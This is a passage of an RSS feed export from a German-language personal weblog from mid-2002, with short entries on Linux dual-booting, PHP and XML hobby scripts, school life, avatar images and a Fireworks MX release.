  19574.    <description><![CDATA[Die <a href="https://web.archive.org/web/20020725165737/http://www.unix-ag.sv.uni-saarland.de/" target="_blank"><b>Unix-AG</b></a> bietet auf ihrer Website viele Infos rund um Unix/Linux. IMHO sehr hilfreich für Um- und Einsteiger wie mich. Besonders die <a href="https://web.archive.org/web/20020806210345/http://www.unix-ag.sv.uni-saarland.de/Links/Newbies.shtml" target="_blank"><b>Links für Einsteiger</b></a> haben mir grosse Freude (und Erleichterung) ;-) bereitet.
  19575. ]]></description>
  19576.    <content:encoded><![CDATA[Die <a href="https://web.archive.org/web/20020725165737/http://www.unix-ag.sv.uni-saarland.de/" target="_blank"><b>Unix-AG</b></a> bietet auf ihrer Website viele Infos rund um Unix/Linux. IMHO sehr hilfreich für Um- und Einsteiger wie mich. Besonders die <a href="https://web.archive.org/web/20020806210345/http://www.unix-ag.sv.uni-saarland.de/Links/Newbies.shtml" target="_blank"><b>Links für Einsteiger</b></a> haben mir grosse Freude (und Erleichterung) ;-) bereitet.
  19577. ]]></content:encoded>
  19578.  </item>
  19579.  
  19580.  <item>
  19581.    <title>PHP</title>
  19582.    <link>https://blog.x-way.org/Coding/2002/07/08/PHP.html</link>
  19583.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=32</guid>
  19584.    <dc:creator>Andreas Jaggi</dc:creator>
  19585.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19586.    <pubDate>Mon, 08 Jul 2002 19:20:00 +0200</pubDate>
  19587.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19588.    <description><![CDATA[Auf <a href="https://web.archive.org/web/20020808062229/http://www.stefan-fischer.net/" target="_blank"><b>http://www.stefan-fischer.net/</b></a> hat es verschiedene PHP-Klassen, unter anderem auch zum Thema XML/RSS. Vielleicht kann der/die eine oder andere etwas davon für seinen Weblog brauchen (mir ist's so ergangen) :-)
  19589. ]]></description>
  19590.    <content:encoded><![CDATA[Auf <a href="https://web.archive.org/web/20020808062229/http://www.stefan-fischer.net/" target="_blank"><b>http://www.stefan-fischer.net/</b></a> hat es verschiedene PHP-Klassen, unter anderem auch zum Thema XML/RSS. Vielleicht kann der/die eine oder andere etwas davon für seinen Weblog brauchen (mir ist's so ergangen) :-)
  19591. ]]></content:encoded>
  19592.  </item>
  19593.  
  19594.  <item>
  19595.    <title>«Wer alle Ziele erreicht, hat sie zu tief gesetzt.»</title>
  19596.    <link>https://blog.x-way.org/Tech/2002/07/07/Wer_alle_Ziele_erreicht_hat_sie_zu_tief_gesetzt.html</link>
  19597.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=31</guid>
  19598.    <dc:creator>Andreas Jaggi</dc:creator>
  19599.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19600.    <pubDate>Sun, 07 Jul 2002 16:59:00 +0200</pubDate>
  19601.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  19602.    <description><![CDATA[Nach diesem Motto lebt der Betreiber <a href="https://web.archive.org/web/20020604231839/http://www.stefan-lenz.ch/" target="_blank"><b>dieser</b> Website</a>. Dort findet man einen "öffentlichen und für jedermann/frau zugänglichen Wissensspeicher".<br>IMHO gute und aktuelle Artikel. Unbedingt besuchen, hat für jeden etwas.
  19603. ]]></description>
  19604.    <content:encoded><![CDATA[Nach diesem Motto lebt der Betreiber <a href="https://web.archive.org/web/20020604231839/http://www.stefan-lenz.ch/" target="_blank"><b>dieser</b> Website</a>. Dort findet man einen "öffentlichen und für jedermann/frau zugänglichen Wissensspeicher".<br>IMHO gute und aktuelle Artikel. Unbedingt besuchen, hat für jeden etwas.
  19605. ]]></content:encoded>
  19606.  </item>
  19607.  
  19608.  <item>
  19609.    <title>Schliesslich hab ich Ferien...</title>
  19610.    <link>https://blog.x-way.org/Misc/2002/07/06/Schliesslich_hab_ich_Ferien.html</link>
  19611.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=30</guid>
  19612.    <dc:creator>Andreas Jaggi</dc:creator>
  19613.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19614.    <pubDate>Sat, 06 Jul 2002 10:01:00 +0200</pubDate>
  19615.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19616.    <description><![CDATA[<br><a href="https://web.archive.org/web/20020609151755/http://sadworld.piranho.com/tests3/faulheit.html" target="_blank"><img src="https://blog.x-way.org/images/haenge8.jpg" alt="ich bin zu 100% faul" style="border: 1px solid #000000;"></a>
  19617. ]]></description>
  19618.    <content:encoded><![CDATA[<br><a href="https://web.archive.org/web/20020609151755/http://sadworld.piranho.com/tests3/faulheit.html" target="_blank"><img src="https://blog.x-way.org/images/haenge8.jpg" alt="ich bin zu 100% faul" style="border: 1px solid #000000;"></a>
  19619. ]]></content:encoded>
  19620.  </item>
  19621.  
  19622.  <item>
  19623.    <title>Projektwoche</title>
  19624.    <link>https://blog.x-way.org/Misc/2002/07/01/Projektwoche.html</link>
  19625.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=29</guid>
  19626.    <dc:creator>Andreas Jaggi</dc:creator>
  19627.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19628.    <pubDate>Mon, 01 Jul 2002 07:56:00 +0200</pubDate>
  19629.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19630.    <description><![CDATA[Nun ist es soweit. Wie schon <a href="http://waterwave.ch/weblog/detail.php?id=26">angekündigt</a>, beginnt heute die Projektwoche unserer Schule. Dazu dürfen wir heute mit dem Fahrrad <a href="http://www.koeniz.ch/" target="_blank"><b>dahin</b></a> radeln.<br>Leider sieht es so aus, dass ich während dieser Zeit nicht ins Internet kann -> kein Weblog. <b>:-(</b>
  19631. ]]></description>
  19632.    <content:encoded><![CDATA[Nun ist es soweit. Wie schon <a href="http://waterwave.ch/weblog/detail.php?id=26">angekündigt</a>, beginnt heute die Projektwoche unserer Schule. Dazu dürfen wir heute mit dem Fahrrad <a href="http://www.koeniz.ch/" target="_blank"><b>dahin</b></a> radeln.<br>Leider sieht es so aus, dass ich während dieser Zeit nicht ins Internet kann -> kein Weblog. <b>:-(</b>
  19633. ]]></content:encoded>
  19634.  </item>
  19635.  
  19636.  <item>
  19637.    <title>Linux</title>
  19638.    <link>https://blog.x-way.org/Linux/2002/06/30/Linux.html</link>
  19639.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=28</guid>
  19640.    <dc:creator>Andreas Jaggi</dc:creator>
  19641.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19642.    <pubDate>Sun, 30 Jun 2002 03:19:00 +0200</pubDate>
  19643.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19644.    <description><![CDATA[<a href="https://web.archive.org/web/20020726072457/http://www.icepack-linux.de/" target="_blank"><b>icepack linux 2</b></a> nennt sich die Distribution, welche es geschafft hat neben meinem Win2k auf der selben Platte installiert zu werden. Massgebend dazu beigetragen hat der benutzerfreundliche GUI-Installationsmanager mit einem Partitionsmanager mit schon fast <a href="https://web.archive.org/web/20020602054744/http://www.powerquest.com/de/PartitionMagic/index.html" target="_blank"><b>Partition Magic</b></a> ähnlichen Funktionen.<br>Damit habe ich für mein Dualboot-System eine NTFS-Partition zur gemeinsamen Nutzung erstellt. Nun will aber Linux unter keinen Umständen darauf schreiben können. Weiss vielleicht gerade jemand wie man dieses "readonly" Zeugs wegmachen kann?<br>Zu diesem Anlass gibt es natürlich auch einen <a href="https://blog.x-way.org/images/30062002.jpg"><b>Screenshot</b></a>.
  19645. ]]></description>
  19646.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20020726072457/http://www.icepack-linux.de/" target="_blank"><b>icepack linux 2</b></a> nennt sich die Distribution, welche es geschafft hat neben meinem Win2k auf der selben Platte installiert zu werden. Massgebend dazu beigetragen hat der benutzerfreundliche GUI-Installationsmanager mit einem Partitionsmanager mit schon fast <a href="https://web.archive.org/web/20020602054744/http://www.powerquest.com/de/PartitionMagic/index.html" target="_blank"><b>Partition Magic</b></a> ähnlichen Funktionen.<br>Damit habe ich für mein Dualboot-System eine NTFS-Partition zur gemeinsamen Nutzung erstellt. Nun will aber Linux unter keinen Umständen darauf schreiben können. Weiss vielleicht gerade jemand wie man dieses "readonly" Zeugs wegmachen kann?<br>Zu diesem Anlass gibt es natürlich auch einen <a href="https://blog.x-way.org/images/30062002.jpg"><b>Screenshot</b></a>.
  19647. ]]></content:encoded>
  19648.  </item>
  19649.  
  19650.  <item>
  19651.    <title>3D-Artwork</title>
  19652.    <link>https://blog.x-way.org/Webdesign/2002/06/27/3D-Artwork.html</link>
  19653.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=27</guid>
  19654.    <dc:creator>Andreas Jaggi</dc:creator>
  19655.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19656.    <pubDate>Thu, 27 Jun 2002 19:30:00 +0200</pubDate>
  19657.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  19658.    <description><![CDATA[Wundervolle virtuelle Welten findet man <a href="http://www.digitalblasphemy.com/" target="_blank"><b>hier</b></a>, <a href="https://web.archive.org/web/20020604185615/http://go.to/innerdreams" target="_blank"><b>hier</b></a> und <a href="https://web.archive.org/web/20020604055903/http://www.moodflow.com/" target="_blank"><b>hier</b></a>.
  19659. ]]></description>
  19660.    <content:encoded><![CDATA[Wundervolle virtuelle Welten findet man <a href="http://www.digitalblasphemy.com/" target="_blank"><b>hier</b></a>, <a href="https://web.archive.org/web/20020604185615/http://go.to/innerdreams" target="_blank"><b>hier</b></a> und <a href="https://web.archive.org/web/20020604055903/http://www.moodflow.com/" target="_blank"><b>hier</b></a>.
  19661. ]]></content:encoded>
  19662.  </item>
  19663.  
  19664.  <item>
  19665.    <title>Schlaf...</title>
  19666.    <link>https://blog.x-way.org/Misc/2002/06/26/Schlaf.html</link>
  19667.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=26</guid>
  19668.    <dc:creator>Andreas Jaggi</dc:creator>
  19669.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19670.    <pubDate>Wed, 26 Jun 2002 23:54:00 +0200</pubDate>
  19671.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19672.    <description><![CDATA[Da ich wie schon <a href="http://waterwave.ch/weblog/detail.php?id=24">gesagt</a> in dieser Woche nichts mehr für die Schule
  19673.  
  19674. machen muss, ist bei mir ein (noch) ungedecktes Bedürfnis nach Schlaf und Erholung aufgekommen. Und da ich in den letzen
  19675.  
  19676. paar Wochen durchschnittlich weniger als <b>4</b> Stunden Schlaf gefunden habe, habe ich während der letzen Tage in meiner
  19677.  
  19678. Freizeit nur geschlafen. Seit dem Wochenende blieb mein Computer ausgeschaltet, die Aufgaben unerledigt und der Weblog wurde
  19679.  
  19680. auch nicht aktualisiert.<br>Das soll sich nun wieder bessern und dieser Eintrag ist der Anfang dazu. Leider sieht es aber in
  19681.  
  19682. nächster Zeit auch nicht allzugut aus, da ich nächste Woche im Zuge einer Projektwoche eine Woche <b>ohne</b> Internet
  19683.  
  19684. verbringen muss. <b>:-(</b><br>Bis dann, so hoffe ich wenigstens, wird dann auch mein Template basierendes Layout fertig
  19685.  
  19686. programmiert sein, was den Weblog noch etwas erweitern wird.
  19687. ]]></description>
  19688.    <content:encoded><![CDATA[Da ich wie schon <a href="http://waterwave.ch/weblog/detail.php?id=24">gesagt</a> in dieser Woche nichts mehr für die Schule
  19689.  
  19690. machen muss, ist bei mir ein (noch) ungedecktes Bedürfnis nach Schlaf und Erholung aufgekommen. Und da ich in den letzen
  19691.  
  19692. paar Wochen durchschnittlich weniger als <b>4</b> Stunden Schlaf gefunden habe, habe ich während der letzen Tage in meiner
  19693.  
  19694. Freizeit nur geschlafen. Seit dem Wochenende blieb mein Computer ausgeschaltet, die Aufgaben unerledigt und der Weblog wurde
  19695.  
  19696. auch nicht aktualisiert.<br>Das soll sich nun wieder bessern und dieser Eintrag ist der Anfang dazu. Leider sieht es aber in
  19697.  
  19698. nächster Zeit auch nicht allzugut aus, da ich nächste Woche im Zuge einer Projektwoche eine Woche <b>ohne</b> Internet
  19699.  
  19700. verbringen muss. <b>:-(</b><br>Bis dann, so hoffe ich wenigstens, wird dann auch mein Template basierendes Layout fertig
  19701.  
  19702. programmiert sein, was den Weblog noch etwas erweitern wird.
  19703. ]]></content:encoded>
  19704.  </item>
  19705.  
  19706.  <item>
  19707.    <title>LEGO</title>
  19708.    <link>https://blog.x-way.org/Misc/2002/06/22/LEGO.html</link>
  19709.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=25</guid>
  19710.    <dc:creator>Andreas Jaggi</dc:creator>
  19711.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19712.    <pubDate>Sat, 22 Jun 2002 16:07:00 +0200</pubDate>
  19713.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19714.    <description><![CDATA[Wieder einmal ein Selbstbildnis. (Die anderen findet man <a href="http://waterwave.ch/weblog/detail.php?id=16">hier</a> und <a href="http://waterwave.ch/weblog/about.php">hier</a>)<br><img src="https://blog.x-way.org/images/legoxway.jpg" height="269" width="155" alt="legoxway"><br>Diesmal gefunden bei <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>Twaen</b></a> und hergestellt <a href="http://www.reasonablyclever.com/" target="_blank"><b>hier</b></a>.
  19715. ]]></description>
  19716.    <content:encoded><![CDATA[Wieder einmal ein Selbstbildnis. (Die anderen findet man <a href="http://waterwave.ch/weblog/detail.php?id=16">hier</a> und <a href="http://waterwave.ch/weblog/about.php">hier</a>)<br><img src="https://blog.x-way.org/images/legoxway.jpg" height="269" width="155" alt="legoxway"><br>Diesmal gefunden bei <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>Twaen</b></a> und hergestellt <a href="http://www.reasonablyclever.com/" target="_blank"><b>hier</b></a>.
  19717. ]]></content:encoded>
  19718.  </item>
  19719.  
  19720.  <item>
  19721.    <title>Endlich...</title>
  19722.    <link>https://blog.x-way.org/Misc/2002/06/22/Endlich.html</link>
  19723.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=24</guid>
  19724.    <dc:creator>Andreas Jaggi</dc:creator>
  19725.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19726.    <pubDate>Sat, 22 Jun 2002 14:31:00 +0200</pubDate>
  19727.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19728.    <description><![CDATA[Gestern hatte ich meine <b>letze Probe dieses Schuljahrs</b> geschrieben. (Über Ehe-, Kinds-, Scheidungs-, Güter- und Erbrecht) Und ich hatte erst noch ein gutes Gefühl beim Probeschreiben. ;-)<br>Nun habe ich bis im August keine schulischen Anstrengungen mehr zu machen.<br><b>Yeehaw!</b><br>Leider muss ich nächste Woche noch einigermassen vernünftig die Schule besuchen, denn Notenschluss ist erst am 26.6. Aber dennoch: <b>Endlich Zeit</b> für alle Dinge, die ich während der letzten Wochen zurückstellen musste.
  19729. ]]></description>
  19730.    <content:encoded><![CDATA[Gestern hatte ich meine <b>letze Probe dieses Schuljahrs</b> geschrieben. (Über Ehe-, Kinds-, Scheidungs-, Güter- und Erbrecht) Und ich hatte erst noch ein gutes Gefühl beim Probeschreiben. ;-)<br>Nun habe ich bis im August keine schulischen Anstrengungen mehr zu machen.<br><b>Yeehaw!</b><br>Leider muss ich nächste Woche noch einigermassen vernünftig die Schule besuchen, denn Notenschluss ist erst am 26.6. Aber dennoch: <b>Endlich Zeit</b> für alle Dinge, die ich während der letzten Wochen zurückstellen musste.
  19731. ]]></content:encoded>
  19732.  </item>
  19733.  
  19734.  <item>
  19735.    <title>XML-Log</title>
  19736.    <link>https://blog.x-way.org/Coding/2002/06/20/XML-Log.html</link>
  19737.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=23</guid>
  19738.    <dc:creator>Andreas Jaggi</dc:creator>
  19739.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19740.    <pubDate>Thu, 20 Jun 2002 23:22:00 +0200</pubDate>
  19741.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19742.    <description><![CDATA[Mit ein paar PHP-Scripts ist habe ich hier einen <b>XML</b> basierten <b>Referer-</b> und <b>User-Agent-Log</b> gebastelt.<br><b><a href="https://blog.x-way.org/stuff/XML-Log.zip">Hier</a></b> kann man ihn herunterladen.
  19743. ]]></description>
  19744.    <content:encoded><![CDATA[Mit ein paar PHP-Scripts ist habe ich hier einen <b>XML</b> basierten <b>Referer-</b> und <b>User-Agent-Log</b> gebastelt.<br><b><a href="https://blog.x-way.org/stuff/XML-Log.zip">Hier</a></b> kann man ihn herunterladen.
  19745. ]]></content:encoded>
  19746.  </item>
  19747.  
  19748.  <item>
  19749.    <title>"Lies es jetzt, kauf es nie"</title>
  19750.    <link>https://blog.x-way.org/Misc/2002/06/18/Lies_es_jetzt_kauf_es_nie.html</link>
  19751.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=22</guid>
  19752.    <dc:creator>Andreas Jaggi</dc:creator>
  19753.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19754.    <pubDate>Tue, 18 Jun 2002 23:09:00 +0200</pubDate>
  19755.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19756.    <description><![CDATA[Habe heute Morgen nicht schlecht gestaunt, als ich in der Gratis-Zeitung <a href="http://www.20min.ch/" target="_blank"><b>20 Minuten</b></a> einen halbseitigen Artikel über die "Anti-Suhrkamp-Kampagne" unter der Rubrik Webpage gefunden habe. Nachdem das Thema in sämtlichen Weblogs und Tageszeitungen zur Genüge diskutiert wurde, wird es jetzt auch noch als <b>"Platzfüller"</b> in Gratiszeitungen verwendet.<br><a href="http://www.schockwellenreiter.de/2002/06/18.html#a6135" target="_blank"><b>Hier</b></a> findet man den Link zur <a href="https://web.archive.org/web/20020708133050/https://www.20min.ch/service/pc_und_internet/story/2982975" target="_blank">Online-Version</a> des Artikels.<br>Dadurch wird <a href="http://www.schockwellenreiter.de/" target="_blank">www.schockwellenreiter.de</a> noch einmal mehr Visits bekommen, soll's wohlbekommen. ;-)
  19757. ]]></description>
  19758.    <content:encoded><![CDATA[Habe heute Morgen nicht schlecht gestaunt, als ich in der Gratis-Zeitung <a href="http://www.20min.ch/" target="_blank"><b>20 Minuten</b></a> einen halbseitigen Artikel über die "Anti-Suhrkamp-Kampagne" unter der Rubrik Webpage gefunden habe. Nachdem das Thema in sämtlichen Weblogs und Tageszeitungen zur Genüge diskutiert wurde, wird es jetzt auch noch als <b>"Platzfüller"</b> in Gratiszeitungen verwendet.<br><a href="http://www.schockwellenreiter.de/2002/06/18.html#a6135" target="_blank"><b>Hier</b></a> findet man den Link zur <a href="https://web.archive.org/web/20020708133050/https://www.20min.ch/service/pc_und_internet/story/2982975" target="_blank">Online-Version</a> des Artikels.<br>Dadurch wird <a href="http://www.schockwellenreiter.de/" target="_blank">www.schockwellenreiter.de</a> noch einmal mehr Visits bekommen, soll's wohlbekommen. ;-)
  19759. ]]></content:encoded>
  19760.  </item>
  19761.  
  19762.  <item>
  19763.    <title>RSS + Fun</title>
  19764.    <link>https://blog.x-way.org/Misc/2002/06/17/RSS__Fun.html</link>
  19765.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=21</guid>
  19766.    <dc:creator>Andreas Jaggi</dc:creator>
  19767.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19768.    <pubDate>Mon, 17 Jun 2002 00:12:00 +0200</pubDate>
  19769.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19770.    <description><![CDATA[Nach längerer und durchaus unterhaltsamer Bastelei liegt nun <a href="https://blog.x-way.org/rss.xml"><b>hier</b></a> ein RSS-Feed des x-log.<br>Ein unterhaltsamer und *lehrreicher* Flash-Film befindet sich <a href="#" target="_blank" class="gone"><b>hier</b></a>.<br>Via ICQ von Ramon
  19771. ]]></description>
  19772.    <content:encoded><![CDATA[Nach längerer und durchaus unterhaltsamer Bastelei liegt nun <a href="https://blog.x-way.org/rss.xml"><b>hier</b></a> ein RSS-Feed des x-log.<br>Ein unterhaltsamer und *lehrreicher* Flash-Film befindet sich <a href="#" target="_blank" class="gone"><b>hier</b></a>.<br>Via ICQ von Ramon
  19773. ]]></content:encoded>
  19774.  </item>
  19775.  
  19776.  <item>
  19777.    <title>Sicherheit geht vor!</title>
  19778.    <link>https://blog.x-way.org/Coding/2002/06/16/Sicherheit_geht_vor.html</link>
  19779.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=20</guid>
  19780.    <dc:creator>Andreas Jaggi</dc:creator>
  19781.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19782.    <pubDate>Sun, 16 Jun 2002 03:43:00 +0200</pubDate>
  19783.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19784.    <description><![CDATA[Aus reiner Lust an zufälligen Passwörtern habe ich ein kleines <a href="https://blog.x-way.org/stuff/passwortgenerator.php" target="_blank"><b>PHP-Script</b></a> geschrieben. Damit habe ich <a href="https://web.archive.org/web/20020404121249/http://www.cnlab.ch/pwcheck/" target="_blank"><b>hier</b></a> sogar ein 8-Zeichen Passwort hingebracht, für das man <b>307</b> Jahre zum entschlüsseln braucht. ;-)<br>Hier noch der <a href="https://blog.x-way.org/stuff/passwortgenerator.txt" target="_blank">Code</a>.
  19785. ]]></description>
  19786.    <content:encoded><![CDATA[Aus reiner Lust an zufälligen Passwörtern habe ich ein kleines <a href="https://blog.x-way.org/stuff/passwortgenerator.php" target="_blank"><b>PHP-Script</b></a> geschrieben. Damit habe ich <a href="https://web.archive.org/web/20020404121249/http://www.cnlab.ch/pwcheck/" target="_blank"><b>hier</b></a> sogar ein 8-Zeichen Passwort hingebracht, für das man <b>307</b> Jahre zum entschlüsseln braucht. ;-)<br>Hier noch der <a href="https://blog.x-way.org/stuff/passwortgenerator.txt" target="_blank">Code</a>.
  19787. ]]></content:encoded>
  19788.  </item>
  19789.  
  19790.  <item>
  19791.    <title>Registry-Spielerei</title>
  19792.    <link>https://blog.x-way.org/Tech/2002/06/16/Registry-Spielerei.html</link>
  19793.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=19</guid>
  19794.    <dc:creator>Andreas Jaggi</dc:creator>
  19795.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19796.    <pubDate>Sun, 16 Jun 2002 02:22:00 +0200</pubDate>
  19797.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  19798.    <description><![CDATA[<a href="https://web.archive.org/web/20020718140131/http://www.winguides.com/" target="_blank">Hier</a> habe ich einen <a href="https://web.archive.org/web/20020607003205/http://www.winguides.com/registry/display.php/799/" target="_blank"><b>Artikel</b></a> gefunden, der erklärt, wie man den <a href="https://web.archive.org/web/20020607003205/http://www.winguides.com/registry/display.php/799/" target="_blank">User Agent String des Internet Explorers ändern kann</a>.
  19799. ]]></description>
  19800.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20020718140131/http://www.winguides.com/" target="_blank">Hier</a> habe ich einen <a href="https://web.archive.org/web/20020607003205/http://www.winguides.com/registry/display.php/799/" target="_blank"><b>Artikel</b></a> gefunden, der erklärt, wie man den <a href="https://web.archive.org/web/20020607003205/http://www.winguides.com/registry/display.php/799/" target="_blank">User Agent String des Internet Explorers ändern kann</a>.
  19801. ]]></content:encoded>
  19802.  </item>
  19803.  
  19804.  <item>
  19805.    <title>XML-Gebastel</title>
  19806.    <link>https://blog.x-way.org/Coding/2002/06/15/XML-Gebastel.html</link>
  19807.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=18</guid>
  19808.    <dc:creator>Andreas Jaggi</dc:creator>
  19809.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19810.    <pubDate>Sat, 15 Jun 2002 03:22:00 +0200</pubDate>
  19811.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19812.    <description><![CDATA[Da ich mich gerade etwas in XML einarbeite, habe ich nun einen <b>XML-basierten PHP-Refererlog</b> geschrieben.<br><a href="http://waterwave.ch/weblog/lastrefs.php" target="_self"><b>Hier</b></a> die HTML-Ausgabe, und <a href="http://waterwave.ch/weblog/lastrefs.php?xml=1" target="_self"><b>hier</b></a> die XML-Base.
  19813. ]]></description>
  19814.    <content:encoded><![CDATA[Da ich mich gerade etwas in XML einarbeite, habe ich nun einen <b>XML-basierten PHP-Refererlog</b> geschrieben.<br><a href="http://waterwave.ch/weblog/lastrefs.php" target="_self"><b>Hier</b></a> die HTML-Ausgabe, und <a href="http://waterwave.ch/weblog/lastrefs.php?xml=1" target="_self"><b>hier</b></a> die XML-Base.
  19815. ]]></content:encoded>
  19816.  </item>
  19817.  
  19818.  <item>
  19819.    <title>Flash-Site</title>
  19820.    <link>https://blog.x-way.org/Webdesign/2002/06/13/Flash-Site.html</link>
  19821.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=17</guid>
  19822.    <dc:creator>Andreas Jaggi</dc:creator>
  19823.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19824.    <pubDate>Thu, 13 Jun 2002 19:12:00 +0200</pubDate>
  19825.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  19826.    <description><![CDATA[Den <a href="https://web.archive.org/web/20020721150203/http://www.superlooper.de/" target="_blank"><b>Link</b></a> zu einer Website, die farblich völlig meinem Geschmack entspricht, habe ich <a href="https://kniebes.com/2002/06/13/5629" target="_blank"><b>hier</b></a> gefunden.
  19827. ]]></description>
  19828.    <content:encoded><![CDATA[Den <a href="https://web.archive.org/web/20020721150203/http://www.superlooper.de/" target="_blank"><b>Link</b></a> zu einer Website, die farblich völlig meinem Geschmack entspricht, habe ich <a href="https://kniebes.com/2002/06/13/5629" target="_blank"><b>hier</b></a> gefunden.
  19829. ]]></content:encoded>
  19830.  </item>
  19831.  
  19832.  <item>
  19833.    <title>Southpark</title>
  19834.    <link>https://blog.x-way.org/Misc/2002/06/12/Southpark.html</link>
  19835.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=16</guid>
  19836.    <dc:creator>Andreas Jaggi</dc:creator>
  19837.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19838.    <pubDate>Wed, 12 Jun 2002 19:15:00 +0200</pubDate>
  19839.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19840.    <description><![CDATA[Noch so ein idealisiertes Selbstbildnis.<br>(Das andere findet man <a href="http://waterwave.ch/weblog/about.php" target="_self">hier</a>)<br><br><img src="https://blog.x-way.org/images/southpark.gif" alt="Southpark Portrait" width="215" height="292"><br><br>Hergestellt <a href="https://web.archive.org/web/20020604021533/http://southpark.gamesweb.com/flash/sp-studio.html" target="_blank"><b>hier</b></a>, gefunden via <a href="https://web.archive.org/web/20020531190414/http://www.blackshirt.de/" target="_blank"><b>Tim</b></a> und <a href="https://web.archive.org/web/20020604053606/http://www.pixelsinddoof.de/log/" target="_blank"><b>Frederike</b></a>.
  19841. ]]></description>
  19842.    <content:encoded><![CDATA[Noch so ein idealisiertes Selbstbildnis.<br>(Das andere findet man <a href="http://waterwave.ch/weblog/about.php" target="_self">hier</a>)<br><br><img src="https://blog.x-way.org/images/southpark.gif" alt="Southpark Portrait" width="215" height="292"><br><br>Hergestellt <a href="https://web.archive.org/web/20020604021533/http://southpark.gamesweb.com/flash/sp-studio.html" target="_blank"><b>hier</b></a>, gefunden via <a href="https://web.archive.org/web/20020531190414/http://www.blackshirt.de/" target="_blank"><b>Tim</b></a> und <a href="https://web.archive.org/web/20020604053606/http://www.pixelsinddoof.de/log/" target="_blank"><b>Frederike</b></a>.
  19843. ]]></content:encoded>
  19844.  </item>
  19845.  
  19846.  <item>
  19847.    <title>Fireworks MX ist da!</title>
  19848.    <link>https://blog.x-way.org/Webdesign/2002/06/12/Fireworks_MX_ist_da.html</link>
  19849.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=15</guid>
  19850.    <dc:creator>Andreas Jaggi</dc:creator>
  19851.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19852.    <pubDate>Wed, 12 Jun 2002 02:00:00 +0200</pubDate>
  19853.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  19854.    <description><![CDATA[Die neue Version meines Graphikprogrammes erscheint und ich habs total verschlafen (liegt vermutlich am Stress der
  19855.  
  19856. Maturaarbeit).<br><br><a href="https://en.wikipedia.org/wiki/Macromedia" target="_blank"><b>Macromedia</b></a> hat nun die MX
  19857.  
  19858. Produktversionen fertiggestellt. Hab gerade die Fireworks MX Trial-Version gesaugt. Die Auswirkungen werdet ihr sicher in
  19859.  
  19860. nächster Zeit sehen ;-)<br>BTW: Laut Macromedia hat <b>MX</b> keine spezielle Bedeutung; schaut man aber auf die um bis zu
  19861.  
  19862. 100$ gestiegenen Preise, so erscheint <b>More eXpensive</b> doch ziemlich realistisch ;-)
  19863. ]]></description>
